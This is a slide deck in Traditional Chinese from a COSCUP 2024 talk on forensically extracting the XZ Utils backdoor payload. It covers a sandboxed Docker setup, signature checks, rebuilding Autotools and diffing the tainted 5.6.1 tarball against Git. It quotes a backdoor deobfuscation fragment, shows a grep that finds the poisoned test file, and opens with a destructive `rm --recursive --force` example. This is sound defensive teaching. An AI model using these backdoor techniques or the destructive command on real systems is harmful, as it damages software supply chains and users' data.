# 如何抽取出 XZ 後門的惡意程式酬載
手把手帶你完成 XZ 後門分析的第一個步驟
林博仁 0w0/
COSCUP 2024《帶你讀源碼》議程軌議程
<small><https://hackmd.io/@brlin/xz-backdoor-payload-extraction-howto></small>
---
## 我是誰?
* [Ubuntu-TW](https://t.me/x_ubuntu_taiwan_community)、[L10N.TW](https://l10n.tw)、[MozTW](https://moztw.org) 社群成員
* 略懂 Bash、C 和 Snap 打包的 Linux 使用者
* 有些資安事件處理經驗的前維運工程師,[履歷在這](https://brlin.me/resume)
---
## XZ 後門是{尛|ㄇㄚˊ}?
* 威脅全世界 Linux 伺服器安全的{供應鏈|supply chain}{攻擊|attack}事件
* 混合社交工程攻擊、軟體測試資料污染與程式碼混淆
* 在攻擊者成功大量獲得權限的前一刻被第三方不經意發現、對外示警並被全開放來源碼社群阻攔
---
## 事件時間線
1. Jia Tan(疑為虛構身份)參與 XZ Utils 專案貢獻
1. 疑為虛構身份的第三者以專案維護不善為由施壓原專案維護者交付 Jia Tan 維護者權限
1. 原作者交付維護者權限給 Jia Tan
---
## 事件時間線(續)
1. Jia Tan 提交埋有惡意目標程式碼之軟體測試用資料
1. Jia Tan 於 GitHub 專案 5.6.1 版釋出源碼包中加入遭竄改的軟體建構程序代碼
1. Jia Tan 試圖遊說 Debian/RedHat 系 Linux 作業系統散布版引入含有惡意程式碼的新 XZ Utils 軟體
---
## 演說範疇
* 只會抽取出惡意程式{酬載|payload}
* 只要你有 Docker 都可以操作
* 可以照著做![詳細步驟在這](tbd)
---
## {前備條件|Prerequisites}
* 您須有基本的 Linux 系統{文字終端|text terminal}的操作經驗
* 作業主機須有 Docker {容器執行環境|container runtime}
+ 提供隔離環境避免誤執行到{惡意軟體|malware}
+ 其他的虛擬化解決方案({容器|container}/{虛擬機|virtual machine})也可用,僅操作方式略有差異
* 作業主機須有{網際網路存取|internet access}
---
## {目標|Goals}
一窺攻擊者是如何將惡意程式注入到 XZ Utils 軟體中的
---
## Bash {索引式陣列|indexed array}語法簡介
方便說明{命令選項|command options} / {引數|arguments}用途
```bash
rm_opts=(
# 遞迴地刪除子目錄下的項目
--recursive
# 不對有疑慮的項目進行提問,直接進行操作
--force
)
rm "${rm_opts[@]}" /not/your/root/*
```
```
$ echo rm "${rm_opts[@]}" /not/your/root/*
rm --recursive --force /not/your/root/*
```
---
## 新建一個{作業目錄|working directory}
避免日後不小心用到惡意軟體
請**不要**放在「下載」資料夾
```bash!
mkdir '/path/to/the/hosting/dir/CVE-2024-3094'
```
---
## 準備資安鑑識的{客端環境|guest (容器、虛擬機)}
你不會真的打算在{主端環境|host (我 的 電 腦)}直接
進行{惡意軟體|malware}的分析吧?
---
### 自{容器映像庫|container registry}獲取 Ubuntu 22.04 的 Docker {容器映像|container image}
下載最新版本的 Docker 容器映像以減少容器內套用安全更新的所需時間:
```bash
docker pull ubuntu:22.04
```
---
### 創建作業環境的 Docker 容器並取得其<br>{互動操作界面|interactive shell}
```bash
docker_run_opts=(
--rm
--interactive --tty
--mount "type=bind,source=${PWD},destination=/project"
--env TZ=CST-8
--name cve-2024-3094
--hostname cve-2024-3094
)
docker run "${docker_run_opts[@]}" ubuntu:22.04
```
---
### 改用台灣當地的 Ubuntu {軟體庫|software archive}{鏡像服務|mirror}
```bash
mirror=tw.archive.ubuntu.com
sed_opts=(
--in-place=".orig"
--regexp-extended
--expression="s@//[^/]*/ubuntu/@//${mirror}/ubuntu/@"
)
sed "${sed_opts[@]}" /etc/apt/sources.list
apt update
```
---
### 將作業環境容器的軟體<br>更新到最新版本
```bash
apt full-upgrade
```
減少惡意軟體透過容器內軟體的安全缺陷獲得容器內乃至於容器外權限的機會
---
## 比對被污染的 XZ Utils 5.6.1 版軟體與原始版本的差異
攻擊者到底是動了什麼手腳才能發動這個攻擊?
---
### 獲取被加料的 XZ Utils 5.6.1 版軟體源碼釋出包與 PGP 數位簽名
原本的 GitHub 專案下載連結已經失效了,但是可以從 [Wayback Machine 的網頁快照](https://web.archive.org/web/*/https://github.com/tukaani-project/xz/releases/download/*)中找回來:
* <https://web.archive.org/web/20240329215428%2a/https://github.com/tukaani-project/xz/releases/download/v5.6.1/xz-5.6.1.tar.bz2>
* <https://web.archive.org/web/20240329215430%2a/https://github.com/tukaani-project/xz/releases/download/v5.6.1/xz-5.6.1.tar.bz2.sig>
---
### 檢查被污染的 XZ Utils 釋出包的{真實性|authenticity}
雖然驗證一個惡意軟體的真實性聽起來有些諷刺就是了……
---
### 安裝用於驗證源碼包完整性的 GnuPG 工具
GnuPG 是 [Pretty Good Privacy(PGP)](https://en.wikipedia.org/wiki/Pretty_Good_Privacy) 的主要開源實作
```bash
apt install gnupg
```
---
### 獲取攻擊者的 PGP 公鑰
原本的 XZ Utils 官方網站域名已經失效了,但是可以從 Wayback Machine 的網頁快照把公鑰找回來:
<https://web.archive.org/web/20240119212247/https://xz.tukaani.org/keys/jia_tan_pubkey.txt>
下載到作業目錄下的 potential-evil-actor.pubkey 檔案中就好
---
### 將攻擊者的 PGP 公鑰匯入到 GnuPG 的{鑰匙圈|keyring}中
```bash
gpg --import potential-evil-actor.pubkey
```
```txt!
gpg: key 59FCF207FEA7F445: 1 signature not checked due to a missing key
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key 59FCF207FEA7F445: public key "Jia Tan <jiat0218@gmail.com>" imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: no ultimately trusted keys found
```
---
### 驗證被加料的軟體源碼釋出包的真實性
```bash
gpg_opts=(
# 使用 xz-5.6.1.tar.bz2.sig 分離式 PGP 數位簽名文件
# 與簽署者的 PGP 簽名驗證 xz-5.6.1.tar.bz2 檔案的真實性
--verify xz-5.6.1.tar.bz2.sig xz-5.6.1.tar.bz2
)
gpg "${gpg_opts[@]}"
```
```txt!
gpg: Signature made Sat Mar 9 08:22:45 2024 UTC
gpg: using RSA key 22D465F2B4C173803B20C6DE59FCF207FEA7F445
gpg: Good signature from "Jia Tan <jiat0218@gmail.com>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 22D4 65F2 B4C1 7380 3B20 C6DE 59FC F207 FEA7 F445
```
---
### 解開 XZ Utils 被加料的<br>5.6.1 版軟體源碼釋出包
```bash
bzip_tarball_extraction_dependency_pkgs=(
# 用於解壓縮 bzip2 壓縮格式的檔案
bzip2
# 用於解開未壓縮的 tar 封存檔(archive)
tar
)
apt install "${bzip_tarball_extraction_dependency_pkgs[@]}"
```
---
```bash
tar_opts=(
# 指定 tar 要以解開封存檔的運行模式(operation mode)運行
--extract
# 指定要解開的(可能同時被壓縮的)tar 封存檔
--file xz-5.6.1.tar.bz2
)
tar "${tar_opts[@]}"
```
![image](https://hackmd.io/_uploads/HkCn5XcF0.png)
---
### 取出 XZ Utils 版控庫中尚未被竄改的<br>5.6.1 版軟體源碼
XZ Utils 軟體[使用 Git 來進行來源程式碼的版本控制](https://git.tukaani.org/?p=xz.git),先安裝 Git 的客戶端軟體:
```bash
apt install git
```
---
```bash
git_clone_opts=(
# 只抓取一層深度的變更歷史以節省遠端版控庫拓製(clone)到本地
# 的所需時間
--depth=1
# 只取出 5.6.1 釋出版本的來源程式碼
--branch v5.6.1
)
git clone "${git_clone_opts[@]}" \
https://git.tukaani.org/xz.git \
xz-git
```
![image](https://hackmd.io/_uploads/r1rgiQqF0.png)
---
### 比對兩版本軟體源碼文件差異
先安裝需要的工具:
```bash
apt install tree
```
---
```bash
diff_opts=(
--unified=0 # 使用 unified 內容差異格式,不顯示上下文
)
grep_opts=(
--extended-regexp # 使用較好使用的擴展版正規表達式(ERE)語法
--regexp='^(---|\+\+\+) ' # 要比對的正規表達式式樣(pattern)
--invert-match # 反向選取沒有吻合正規表達式的行
)
tree_opts=(
-a # 同時列舉隱藏檔(英式句點開頭名稱的檔案)
-I '.git/' # 不要列舉 Git 版控庫中的項目
)
# Bash 使用手冊 > Basic Shell Features > Shell Expansions
# > Process Substitution
diff "${diff_opts[@]}" \
<(tree "${tree_opts[@]}" xz-git) \
<(tree "${tree_opts[@]}" xz-5.6.1) \
| grep "${grep_opts[@]}" \
| less
```
---
```diff=
@@ -1 +1,3 @@
-xz-git
+xz-5.6.1
+├── ABOUT-NLS
+├── aclocal.m4
...省略...
@@ -19 +29,2 @@
-├── .codespellrc
+├── config.h.in
+├── configure
...省略...
@@ -550 +758 @@
-38 directories, 510 files
+48 directories, 708 files
```
---
## 源碼版控庫取出的程式碼與源碼釋出包的差異
源碼釋出包可能會有專案維護者預先建構的:
* 即可用的軟體建構的配置程序<!-- (使用者環境不一定方便安裝產生的軟體)-->
* 軟體使用/開發文件<!-- (沒有一定要自使用者環境產生的必要性)-->
源碼釋出包可能會缺少:
* 僅用於軟體開發用的設定檔<!-- 就……用不到-->
---
### 詳閱 XZ Utils 軟體的安裝文件
我們要確認:
* 軟體使用的{軟體建構系統|software build system}
* {源碼建構的|build}{依賴軟體|dependencies}
* {源碼建構的|build}{配置選項|configuration options}與{預設值|defaults}
* 其他特別的注意事項
---
安裝一個支援上下翻頁瀏覽操作的
純文字資料{分頁器|pager}軟體:
```bash
apt install less
```
:::danger
**注意:**[避免使用 `cat` 命令查看文件](https://twitter.com/0xAsm0d3us/status/1774534241084445020)
:::
---
![image](https://hackmd.io/_uploads/HkpLuxntR.png)
---
![image](https://hackmd.io/_uploads/rJlPYx3F0.png)
---
### 詳閱 XZ Utils 軟體的安裝文件
```bash
less xz-git/INSTALL
```
常用操作:
* `↑`/`↓`:上一行/下一行
* `PageUp`/`PageDn`:上一頁/下一頁
* `h`:查看使用說明
* `q`:結束分頁器程式
---
![image](https://hackmd.io/_uploads/rkR-rzqKA.png)
xz-git/INSTALL > Preface
---
![image](https://hackmd.io/_uploads/Sy6ESM9tA.png)
xz-git/INSTALL.generic > Basic Installation
---
![image](https://hackmd.io/_uploads/r1LuBf9YA.png)
xz-git/INSTALL.generic > Basic Installation
---
![image](https://hackmd.io/_uploads/ry7oUGctC.png)
xz-git/INSTALL.generic > Basic Installation
---
XZ Utils 軟體使用了 [GNU {軟體建構系統|build system}](https://www.gnu.org/software/automake/manual/html_node/GNU-Build-System.html)
來進行軟體建構,其包含但不限於下列這三個軟體組成元件:
* [GNU Autoconf](https://www.gnu.org/software/autoconf/)
* [GNU Automake](https://www.gnu.org/software/automake/)
* [GNU Libtool](https://www.gnu.org/software/libtool/)
---
### 確認建構 5.6.1 版 XZ Utils 軟體釋出源碼包所使用的軟體建構工具版本
檢查攻擊者使用的 GNU Autoconf 建構工具版本:
```bash
head_opts=(
# 只顯示檔案開頭的前三行
--lines=3
)
head "${head_opts[@]}" xz-5.6.1/configure
```
```bash
#! /bin/sh
# Guess values for system-dependent variables and create Makefiles.
# Generated by GNU Autoconf 2.72 for XZ Utils 5.6.1.
```
GNU Autoconf==2.72
---
```bash
head_opts=(
# 只顯示檔案開頭的前三行
--lines=3
)
head "${head_opts[@]}" xz-5.6.1/Makefile.in
```
```output
# Makefile.in generated by automake 1.16.5 from Makefile.am.
# @configure_input@
```
GNU Automake==1.16.5
---
```bash
head_opts=(
# 只顯示檔案開頭的前五行
--lines=5
)
head "${head_opts[@]}" xz-5.6.1/build-aux/ltmain.sh
```
```output
#! /usr/bin/env sh
## DO NOT EDIT - This file generated from ./build-aux/ltmain.in
## by inline-source v2019-02-19.15
# libtool (GNU libtool) 2.4.7.4-1ec8f-dirty
```
GNU libtool~=2.4.7.4-1ec8f-dirty?
---
![image](https://hackmd.io/_uploads/BknMnMcF0.png)
GNU libtool==1ec8f {修訂版|revision} + {未知更動|-dirty}
---
軟體有用到 GNU Gettext:
```m4
dnl Support for _REQUIRE_VERSION was added in gettext 0.19.6. If both
dnl _REQUIRE_VERSION and _VERSION are present, the _VERSION is ignored.
dnl We use both for compatibility with other programs in the Autotools family.
echo
echo "Initializing gettext:"
AM_GNU_GETTEXT_REQUIRE_VERSION([0.19.6])
AM_GNU_GETTEXT_VERSION([0.19.6])
AM_GNU_GETTEXT([external])
```
xz-git/configure.ac
---
```bash
head_opts=(
# 只顯示檔案開頭的前一行
--lines=1
)
head "${head_opts[@]}" xz-5.6.1/m4/gettext.m4
```
```txt
# gettext.m4 serial 78 (gettext-0.22.4)
```
GNU Gettext==0.22.4
---
### 安裝建構 XZ Utils 軟體的{軟體建構配置程序|./configure}所需要之{依賴軟體|dependency}:GNU Autoconf 2.72
![download](https://hackmd.io/_uploads/SyKVyuiKR.png)
![list](https://hackmd.io/_uploads/S1Z1edsFA.png)
---
```bash
gpg_opts=(
# 使用 autoconf-2.72.tar.xz.sig 分離式 PGP 數位簽名文件
# 與簽署者的 PGP 簽名驗證 autoconf-2.72.tar.xz 檔案的真實性
--verify autoconf-2.72.tar.xz.sig autoconf-2.72.tar.xz
)
gpg "${gpg_opts[@]}"
```
```txt
gpg: Signature made Fri Dec 22 19:13:21 2023 UTC
gpg: using RSA key 82F854F3CE73174B8B63174091FCC32B6769AA64
gpg: Can't check signature: No public key
```
---
```bash
gpg_opts=(
# 指定要獲取簽發者公鑰的 PGP 金鑰伺服器
# (預設的 hkps://keys.openpgp.org 怪怪 der)
--keyserver keyserver.ubuntu.com:443
# 自金鑰伺服器接收並匯入指定識別編號的 PGP 公鑰至 GnuPG 鑰匙圈中
--receive-keys 82F854F3CE73174B8B63174091FCC32B6769AA64
)
gpg "${gpg_opts[@]}"
```
```txt!
gpg: key 91FCC32B6769AA64: public key "Zack Weinberg <zackw@panix.com>" imported
gpg: Total number processed: 1
gpg: imported: 1
```
---
```bash
gpg_opts=(
# 使用 autoconf-2.72.tar.xz.sig 分離式 PGP 數位簽名文件
# 與簽署者的 PGP 簽名驗證 autoconf-2.72.tar.xz 檔案的真實性
--verify autoconf-2.72.tar.xz.sig autoconf-2.72.tar.xz
)
gpg "${gpg_opts[@]}"
```
```txt!
gpg: Signature made Sat Dec 23 03:13:21 2023 CST
gpg: using RSA key 82F854F3CE73174B8B63174091FCC32B6769AA64
gpg: Good signature from "Zack Weinberg <zackw@panix.com>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 82F8 54F3 CE73 174B 8B63 1740 91FC C32B 6769 AA64
```
---
安裝解壓 XZ 壓縮的 Tar 封存檔的依賴軟體
```bash
apt install xz-utils
```
解開封存檔
```bash
tar_opts=(
# 指定 tar 要以解開封存檔的運行模式(operation mode)運行
--extract
# 指定要解開的(可能同時被壓縮的)tar 封存檔
--file autoconf-2.72.tar.xz
)
tar "${tar_opts[@]}"
```
---
將作業目錄切換進 GNU Autoconf 的源碼樹根目錄:
```bash!
cd autoconf-2.72
```
查看軟體建構配置程序的幫助訊息:
```bash!
./configure --help
```
{迭代地|iteratively}執行軟體建構配置程序:
```bash
./configure
```
---
```txt!
configure: error: no acceptable m4 could be found in $PATH.
GNU M4 1.4.8 or later is required; 1.4.16 or newer is recommended.
GNU M4 1.4.15 uses a buggy replacement strstr on some systems.
Glibc 2.9 - 2.12 and GNU M4 1.4.11 - 1.4.15 have another strstr bug.
```
解決方案:
```bash
apt install m4
```
---
```txt
configure: creating ./config.status
config.status: creating tests/atlocal
config.status: creating Makefile
config.status: creating lib/version.m4
config.status: executing tests/atconfig commands
You are about to use an experimental version of Autoconf. Be sure to
read the relevant mailing lists, most importantly <autoconf@gnu.org>.
Below you will find information on the status of this version of Autoconf.
...略...
```
```bash
/project/autoconf-2.72# echo "${?}"
0
```
```bash
/project/autoconf-2.72# head --lines=2 Makefile
# Makefile.in generated by automake 1.16.5 from Makefile.am.
# Makefile. Generated from Makefile.in by configure.
```
---
安裝 GNU Make:
```bash
apt install make
```
開始進行軟體建構:
```bash
# 查詢 CPU 支援的執行緒數
number_of_cpu_threads="$(nproc)"
make_opts=(
# 透過同時執行多個進程(process)來節省軟體建構所需時間
--jobs="${number_of_cpu_threads}"
)
make "${make_opts[@]}"
```
---
```txt
make[1]: Entering directory '/project/autoconf-2.72'
...省略...
mv -f tests/autoheader.tmp tests/autoheader
mv -f tests/autoconf.tmp tests/autoconf
mv -f tests/autom4te.tmp tests/autom4te
mv -f tests/autoscan.tmp tests/autoscan
mv -f tests/autoreconf.tmp tests/autoreconf
mv -f tests/autoupdate.tmp tests/autoupdate
mv -f tests/ifnames.tmp tests/ifnames
make[1]: Leaving directory '/project/autoconf-2.72'
```
```bash
/project/autoconf-2.72# echo "${?}"
0
```
---
安裝建構好的軟體:
```bash!
/project/autoconf-2.72# make install
```
```txt!
make install-am
make[1]: Entering directory '/project/autoconf-2.72'
...省略...
make[3]: Leaving directory '/project/autoconf-2.72'
make[2]: Leaving directory '/project/autoconf-2.72'
make[1]: Leaving directory '/project/autoconf-2.72'
```
```bash
/project/autoconf-2.72# echo "${?}"
0
```
---
檢查是否有安裝成功:
```txt
/project/autoconf-2.72# autoconf --version
autoconf --version
autoconf (GNU Autoconf) 2.72
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+/Autoconf: GNU GPL version 3 or later
<https://gnu.org/licenses/gpl.html>, <https://gnu.org/licenses/exceptions.html>
...省略...
```
回作業目錄:
```bash
cd /project
```
---
### 安裝建構 XZ Utils 軟體的{軟體建構配置程序|./configure}所需要之{依賴軟體|dependency}:GNU Automake 1.16.5
![downloads](https://hackmd.io/_uploads/HJh2_S3F0.png)
![files](https://hackmd.io/_uploads/HymL_S2KR.png)
---
確認簽名者的 PGP 公鑰識別編號:
```bash
gpg_opts=(
# 使用 automake-1.16.5.tar.xz.sig 分離式 PGP 數位簽名文件
# 與簽署者的 PGP 簽名驗證 automake-1.16.5.tar.xz 檔案的真實性
--verify automake-1.16.5.tar.xz.sig automake-1.16.5.tar.xz
)
gpg "${gpg_opts[@]}"
```
```txt!
gpg: Signature made Mon Oct 4 11:23:30 2021 CST
gpg: using RSA key 155D3FC500C834486D1EEA677FD9FCCB000BEEEE
gpg: Can't check signature: No public key
```
---
自 PGP 金鑰伺服器匯入公鑰:
```bash
gpg_opts=(
# 指定要獲取簽發者公鑰的 PGP 金鑰伺服器
# (預設的 hkps://keys.openpgp.org 怪怪 der)
--keyserver keyserver.ubuntu.com
# 自金鑰伺服器接收並匯入指定識別編號的 PGP 公鑰至 GnuPG 鑰匙圈中
--receive-keys 155D3FC500C834486D1EEA677FD9FCCB000BEEEE
)
gpg "${gpg_opts[@]}"
```
```txt!
gpg: key 7FD9FCCB000BEEEE: public key "Jim Meyering <jim@meyering.net>" imported
gpg: Total number processed: 1
gpg: imported: 1
```
---
解開封存檔
```bash
tar_opts=(
# 指定 tar 要以解開封存檔的運行模式(operation mode)運行
--extract
# 指定要解開的(可能同時被壓縮的)tar 封存檔
--file automake-1.16.5.tar.xz
)
tar "${tar_opts[@]}"
```
將作業目錄切換進 GNU Automake 的源碼樹根目錄:
```bash!
cd automake-1.16.5
```
---
配置軟體建構:
```bash
./configure
```
```txt
/project/automake-1.16.5# echo "${?}"
0
```
建構軟體:
```bash
# 查詢 CPU 支援的執行緒數
number_of_cpu_threads="$(nproc)"
make_opts=(
# 透過同時執行多個進程(process)來節省軟體建構所需時間
--jobs="${number_of_cpu_threads}"
)
make "${make_opts[@]}"
```
```txt
/project/automake-1.16.5# echo "${?}"
0
```
---
安裝建構好的軟體:
```bash!
/project/automake-1.16.5# make install
```
檢查安裝:
```bash!
/project/automake-1.16.5# automake --version
```
```txt!
automake (GNU automake) 1.16.5
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv2+: GNU GPL version 2 or later <https://gnu.org/licenses/gpl-2.0.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by Tom Tromey <tromey@redhat.com>
and Alexandre Duret-Lutz <adl@gnu.org>.
```
回作業目錄:
```bash
cd /project
```
---
### 安裝建構 XZ Utils 軟體的{軟體建構配置程序|./configure}所需要之{依賴軟體|dependency}:GNU Libtool 1ec8f 開發中版本
![image](https://hackmd.io/_uploads/BJbyJI3tA.png)
---
```bash
git_clone_opts=(
# 只抓取近期 200 層深度的變更歷史,減少版控庫拓製(clone)所需時間
--depth=200
)
git clone "${git_clone_opts[@]}" \
https://git.savannah.gnu.org/git/libtool.git \
libtool-git
cd libtool-git
git checkout 1ec8fa2
```
```txt!
Cloning into 'libtool-git'...
...省略...
Note: switching to '1ec8fa2'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.
```
---
建構軟體建構配置程序:
```bash
test -f configure || ./bootstrap
```
```txt!
bootstrap: error: Prerequisite 'help2man' not found. Please install it, or
bootstrap: 'export HELP2MAN=/path/to/help2man'.
bootstrap: error: Prerequisite 'makeinfo' not found. Please install it, or
bootstrap: 'export MAKEINFO=/path/to/makeinfo'.
```
```bash
apt install help2man texinfo
```
```bash
test -f configure || ./bootstrap
```
```out!
bootstrap: Done. Now you can run './configure'.
```
---
配置軟體建構:
```bash
./configure
```
```txt!
configure: error: no acceptable C compiler found in $PATH
```
```bash
apt install gcc
```
```bash
./configure
```
```txt!
...省略...
config.status: executing tests/atconfig commands
config.status: executing depfiles commands
config.status: executing libtool commands
```
```bash
/project/libtool-git# echo "${?}"
0
```
---
建構軟體:
```bash
number_of_cpu_threads="$(nproc)"
make_opts=(
# 透過同時執行多個進程(process)來節省軟體建構所需時間
--jobs="${number_of_cpu_threads}"
)
make "${make_opts[@]}"
```
```txt!
GEN libtoolize
make all-recursive
make[1]: Entering directory '/project/libtool-git'
...省略...
make[1]: Leaving directory '/project/libtool-git'
```
```bash
/project/libtool-git# echo "${?}"
0
```
---
安裝軟體:
```bash
make install
```
```txt!
make[1]: Entering directory '/project/libtool-git'
Making install in .
...省略...
make[1]: Leaving directory '/project/libtool-git'
```
```bash
/project/libtool-git# echo "${?}"
0
```
---
檢查軟體安裝:
```bash
libtoo --version
```
```txt!
libtool (GNU libtool) 2.4.7.4-1ec8
Written by Gordon Matzigkeit, 1996
Copyright (C) 2014 Free Software Foundation, Inc.
```
回作業目錄:
```bash
cd /project
```
---
### 安裝建構 XZ Utils 軟體的{軟體建構配置程序|./configure}所需要之{依賴軟體|dependency}:GNU Gettext 0.22.4
![image](https://hackmd.io/_uploads/Sy4fLUhKR.png)
---
下載源碼釋出包與 PGP 數位簽名檔案:
![image](https://hackmd.io/_uploads/HyXOIUnFC.png)
<https://ftp.gnu.org/pub/gnu/gettext/>
---
確認簽名者的 PGP 公鑰識別編號:
```bash
gpg_opts=(
# 使用 gettext-0.22.4.tar.lz.sig 分離式 PGP 數位簽名文件
# 與簽署者的 PGP 簽名驗證 gettext-0.22.4.tar.lz 檔案的真實性
--verify gettext-0.22.4.tar.lz.sig gettext-0.22.4.tar.lz
)
gpg "${gpg_opts[@]}"
```
```out!
gpg: Signature made Mon Nov 20 04:56:11 2023 CST
gpg: using RSA key 9001B85AF9E1B83DF1BDA942F5BE8B267C6A406D
gpg: Can't check signature: No public key
```
---
匯入簽名者的 PGP 公鑰:
```bash
gpg_opts=(
# 指定要獲取簽發者公鑰的 PGP 金鑰伺服器
--keyserver keyserver.ubuntu.com
# 自金鑰伺服器接收並匯入指定識別編號的 PGP 公鑰至 GnuPG 鑰匙圈中
--receive-keys 9001B85AF9E1B83DF1BDA942F5BE8B267C6A406D
)
gpg "${gpg_opts[@]}"
```
```txt!
gpg: key F5BE8B267C6A406D: public key "Bruno Haible (Open Source Development) <bruno@clisp.org>" imported
gpg: Total number processed: 1
gpg: imported: 1
```
---
驗證源碼釋出包的真實性:
```bash
gpg_opts=(
# 使用 gettext-0.22.4.tar.lz.sig 分離式 PGP 數位簽名文件
# 與簽署者的 PGP 簽名驗證 gettext-0.22.4.tar.lz 檔案的真實性
--verify gettext-0.22.4.tar.lz.sig gettext-0.22.4.tar.lz
)
gpg "${gpg_opts[@]}"
```
```out!
gpg: Signature made Mon Nov 20 04:56:11 2023 CST
gpg: using RSA key 9001B85AF9E1B83DF1BDA942F5BE8B267C6A406D
gpg: Good signature from "Bruno Haible (Open Source Development) <bruno@clisp.org>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 9001 B85A F9E1 B83D F1BD A942 F5BE 8B26 7C6A 406D
```
---
解開源碼釋出包封存檔:
```bash
apt install lzip
```
```bash
tar_opts=(
# 指定 tar 要以解開封存檔的運行模式(operation mode)運行
--extract
# 指定要解開的(可能同時被壓縮的)tar 封存檔
--file gettext-0.22.4.tar.lz
)
tar "${tar_opts[@]}"
```
將作業目錄切換進 GNU Gettext 的源碼樹根目錄:
```bash!
cd gettext-0.22.4
```
---
配置軟體建構:
```bash
./configure
```
```txt!
...省略...
configure: creating ./config.status
config.status: creating Makefile
config.status: creating installpaths
config.status: creating po/Makefile
config.status: executing po-directories commands
```
```bash
/project/gettext-0.22.4# echo "${?}"
0
```
---
建構軟體:
```bash
number_of_cpu_threads="$(nproc)"
make_opts=(
# 透過同時執行多個進程(process)來節省軟體建構所需時間
--jobs="${number_of_cpu_threads}"
)
make "${make_opts[@]}"
```
```txt!
...省略...
make[1]: Leaving directory '/project/gettext-0.22.4'
```
```bash
/project/gettext-0.22.4# echo "${?}"
0
```
---
安裝軟體:
```bash
make install
```
```txt!
make install-recursive
make[1]: Entering directory '/project/gettext-0.22.4'
...省略...
make[1]: Leaving directory '/project/gettext-0.22.4'
```
```bash
/project/gettext-0.22.4# echo "${?}"
0
```
---
檢查軟體安裝:
```bash
gettext --version
```
```txt!
gettext (GNU gettext-runtime) 0.22.4
Copyright (C) 1995-2023 Free Software Foundation, Inc.
...省略...
```
回作業目錄:
```bash
cd /project
```
---
### 建構 XZ Utils 軟體的{軟體建構配置程序|./configure}
切換作業目錄至 XZ Utils 源碼樹根目錄:
```bash!
cd xz-git
```
建構{軟體建構配置程序|./configure}
```bash!
./autogen.sh
```
```txt!
...省略...
+ sh update-po
po4a/update-po: The program 'po4a' was not found.
po4a/update-po: Translated man pages were not generated.
```
```bash!
/project/xz-git# echo $?
1
```
---
確認哪個 Ubuntu 軟體包有提供 po4a 這個命令:
```bash!
apt install apt-file
apt-file update
apt_file_search_opts=(
# Specify that the search pattern is a regular expression instead
# of a glob pattern
--regexp
)
apt-file search "${apt_file_search_opts[@]}" '/s?bin/po4a$'
```
```txt!
po4a: /usr/bin/po4a
```
```bash
apt install po4a
```
---
```bash!
./autogen.sh
```
```txt!
...省略...
+ sh update-doxygen
doxygen/update-doxygen: 'doxygen' command not found.
doxygen/update-doxygen: Skipping Doxygen docs generation.
```
```bash!
/project/xz-git# echo $?
1
```
---
確認哪個 Ubuntu 軟體包有提供 doxygen 這個命令:
```bash!
apt_file_search_opts=(
# Specify that the search pattern is a regular expression instead
# of a glob pattern
--regexp
)
apt-file search "${apt_file_search_opts[@]}" '/s?bin/doxygen$'
```
```txt!
doxygen: /usr/bin/doxygen
```
```bash
apt install doxygen
```
---
```bash!
./autogen.sh
```
```txt!
...省略...
Stripping JavaScript from Doxygen output...
+ cd ..
+ exit 0
```
```bash!
/project/xz-git# echo "${?}"
0
```
---
### 產生 XZ Utils Git 版控庫源碼跟被竄改的 5.6.1 版源碼釋出包的內容差異
```bash
diff_opts=(
# 排除我們沒興趣知道內容差異的檔案 #
# 軟體的說明文件
--exclude='ChangeLog' --exclude='doc'
# 軟體國際化(I18N)與在地化(L10N)相關文件
--exclude='*.po' --exclude='*.pot'
--exclude='*.gmo' --exclude='po4a'
# Git 版控庫
--exclude='.git'
# 使用 unified 內容差異格式比對兩目錄樹的內容差異
--unified --recursive
)
diff "${diff_opts[@]}" xz-git xz-5.6.1 \
>xz-vanilla-vs-tainted.diff
```
---
![image](https://hackmd.io/_uploads/rJ2d0UhKC.png)
---
### 應該開始越想越不對勁的環節
![image](https://hackmd.io/_uploads/HyciEv2KC.png)
18686 行將 gl_am_configmake 變數的值設定為一個奇怪的命令的輸出結果
---
```bash
grep_opts=(
# 將二進位檔視為純文字文件進行文字比對
--text
# 使用擴充版正規表達式(ERE)語法
--extended-regexp
# 遞迴搜尋所有目錄子項目
--recursive
# 只印出有比對到內容的檔案名稱,不印出比對到的內容
--files-with-matches
# 不印出讀取失敗的錯誤訊息
--no-messages
) # 對來源碼目錄搜尋所有包含
# 「四個井字號、五個連續英數字字元然後再四個井字號」的檔案名稱
grep "${grep_opts[@]}" '#{4}[[:alnum:]]{5}#{4}$' xz-5.6.1
```
---
```txt!
/project# grep \
"${grep_opts[@]}" \
'#{4}[[:alnum:]]{5}#{4}$' \
xz-5.6.1
xz-5.6.1/tests/files/bad-3-corrupt_lzma2.xz
```
等同:
```bash
gl_am_configmake=xz-5.6.1/tests/files/bad-3-corrupt_lzma2.xz
```
---
![image](https://hackmd.io/_uploads/rJUeHDhF0.png)
18695 行將 `gl_path_map` 變數的值設定為一個奇怪的 `tr` 命令
---
`tr "\t \-_" " \t_\-"`
* 將換欄號(Tab)換為空白(Space)
* 將空白(Space)換為換欄號(Tab)
* 將 Dash(-) 換為底線(_)
* 將底線(_) 換為 Dash(-)
---
![image](https://hackmd.io/_uploads/S1EyUwnY0.png)
19878 行將 `gl_localedir_prefix` 變數設定為一個奇怪的命令的輸出結果
```bash
gl_am_configmake=xz-5.6.1/tests/files/bad-3-corrupt_lzma2.xz
```
---
將輸入的「零或多個字元後面再接一個英式句點」替換為空字串:
```bash
gl_am_configmake=xz-5.6.1/tests/files/bad-3-corrupt_lzma2.xz
echo $gl_am_configmake | sed "s/.*\.//g"
```
```txt!
xz
```
這個等一下會用在有趣的地方,先記著
---
![image](https://hackmd.io/_uploads/SJHXHu2F0.png)
